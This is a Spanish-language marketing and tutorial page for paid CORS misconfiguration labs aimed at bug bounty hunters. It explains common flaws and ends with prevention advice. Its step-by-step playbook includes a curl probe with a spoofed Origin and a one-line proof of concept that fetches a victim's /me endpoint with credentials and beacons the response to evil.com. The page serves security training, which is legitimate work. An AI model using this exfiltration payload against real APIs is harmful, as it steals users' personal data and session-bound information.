Nuevos labs cada semana — Accede a todos desde 7,99€/mes
Ver labs →Labs de CORS
CORS Misconfiguration
¿Qué es CORS?
Las CORS Misconfigurations permiten que sitios maliciosos lean respuestas de APIs con datos sensibles del usuario víctima. Suele combinar reflection de Origin sin allowlist + Access-Control-Allow-Credentials: true, una combinación letal documentada por OWASP como crítica.
¿Por qué practicar CORS?
CORS es uno de los frentes peor entendidos en backend. Las regex sloppy (`/^https?://.*\.app\.com/`) y los reflectores sin allowlist son sorprendentemente comunes. Bounty típico: $1,500-$10,000 por exfil de PII de la API /me.
¿Qué aprenderás con los labs de CORS?
Aprenderás a auditar Access-Control-Allow-Origin y -Allow-Credentials, las 5 misconfigs clásicas (reflection, null, subdomain wildcard, regex bypass, third-party trust), y a montar un PoC con `fetch(target, {credentials:'include'})` que demuestre robo real de datos.
Tipos de CORS que cubrimos
- Reflected origin + credentials
El servidor refleja Origin y manda Allow-Credentials: true. Cualquier sitio puede leer la API logueada.
- Null origin trick
Origin: null se envía desde sandboxed iframes y data: URLs. Si el server lo permite, abusable cross-origin.
- Subdomain wildcard
*.app.com permitido — un XSS o subdomain takeover en cualquier sub permite robar la API principal.
- Regex bypass
Allowlist con regex débil: `evil.com.app.com` o `app.com.evil.com` matchean si la regex no ancla con $.
¿Cómo encontrar y explotar CORS?
Playbook práctico — del recon a la prueba de concepto.
- 1
Inspeccionar las cabeceras CORS
Manda una petición con un Origin arbitrario y mira la respuesta. Te interesa Access-Control-Allow-Origin (ACAO) y Access-Control-Allow-Credentials (ACAC).
curl -s -I https://api.target/me -H 'Origin: https://evil.com' - 2
Detectar reflejo de Origin + credenciales
Si ACAO devuelve tu Origin y ACAC es true, cualquier web puede leer respuestas autenticadas de la víctima. Es el caso crítico.
Access-Control-Allow-Origin: https://evil.com\nAccess-Control-Allow-Credentials: true - 3
Probar el truco de Origin: null
Algunos backends permiten null. Se envía desde un iframe sandbox o un data: URL, así que es explotable.
Origin: null → ¿ACAO: null? entonces vulnerable desde sandbox iframe - 4
Buscar bypass de allowlist
Las regex sin anclar permiten dominios como target.com.evil.com o evil-target.com. Prueba sufijos y prefijos.
Origin: https://target.com.evil.com · Origin: https://eviltarget.com - 5
Montar el PoC de exfiltración
Desde tu dominio, haz fetch con credentials:'include' al endpoint sensible y envía la respuesta a tu servidor.
fetch('https://api.target/me',{credentials:'include'}).then(r=>r.text()).then(d=>navigator.sendBeacon('//evil.com',d))
Aprende la teoría
Academy: CORS Misconfiguration
Cargando labs...
Ver en catálogo completo →Preguntas frecuentes
¿Qué es una CORS Misconfiguration?
Es una configuración insegura de Cross-Origin Resource Sharing que permite a sitios de terceros leer respuestas de una API con los datos de la víctima. El caso clásico combina reflejar el Origin del atacante con Access-Control-Allow-Credentials: true.
¿Cómo se explota una mala configuración CORS?
Desde una web del atacante se hace fetch con credentials:'include' al endpoint sensible de la víctima. Si el servidor refleja el Origin malicioso y permite credenciales, el navegador deja leer la respuesta y se exfiltran datos como PII o tokens.
¿Cómo encontrar fallos CORS en bug bounty?
Reenvía peticiones con un Origin arbitrario y observa ACAO/ACAC. Busca reflejo del Origin, aceptación de null, wildcards de subdominio y regex sin anclar. El objetivo más rentable es un /me o /account que devuelva datos personales.
¿Cómo prevenir una mala configuración CORS?
Usa una allowlist explícita de orígenes (sin reflejar el Origin recibido), no combines wildcard con credenciales, nunca permitas null, ancla bien las comparaciones de dominio y evita Access-Control-Allow-Credentials cuando no sea imprescindible.
¿Diferencia entre CORS misconfiguration y CSRF?
El CORS mal configurado permite LEER la respuesta cross-origin (robo de datos). El CSRF solo permite ENVIAR una petición a ciegas (cambiar estado), sin poder leer la respuesta. Por eso un CORS laxo con credenciales suele tener más impacto de confidencialidad.
Otras categorías relacionadas
Empieza con labs de CORS
Practica CORS Misconfiguration con labs basados en reportes reales. En español. Desde 7,99€/mes.
Empieza con el primer lab de CORS